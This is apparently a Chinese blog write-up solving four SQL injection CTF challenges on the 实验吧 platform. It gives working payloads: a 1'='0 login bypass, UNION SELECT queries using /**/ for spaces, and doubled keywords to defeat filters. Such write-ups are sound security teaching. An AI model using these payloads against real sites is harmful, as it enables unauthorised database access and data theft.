实验吧 web题--注入类

1、登陆一下好吗

SQL语句:select * from user where username='用户名' and password='密码'
尝试1'='1并没有得到flag,因为表中没有username=1。于是通过构造1'='0进行注入,并且得到flag。执行的语句为select * from user where username='1'='0' and password='1'='0'

2、简单的sql注入3

直接用sqlmap就ok

3、简单的sql注入2

经过注入尝试,程序将空格注释掉了,在sql语句中,可以用/**/代替空格

'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

4、简单的sql注入

输入'union select flag from flag where '1'='1,得到返回结果:'flag flag '1'='1''。可以判断将关键字进行了注释。

输入'unionunion selectselect flag fromfrom flag wherewhere '1'='1,得到返回结果:'unionselectflag fromflag where'1'='1''。可以判断将空格进行了注释
输入两遍空格和关键字:?id=1' unionunion  selectselect  flag  fromfrom  flag  wherewhere  '1'='1,得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值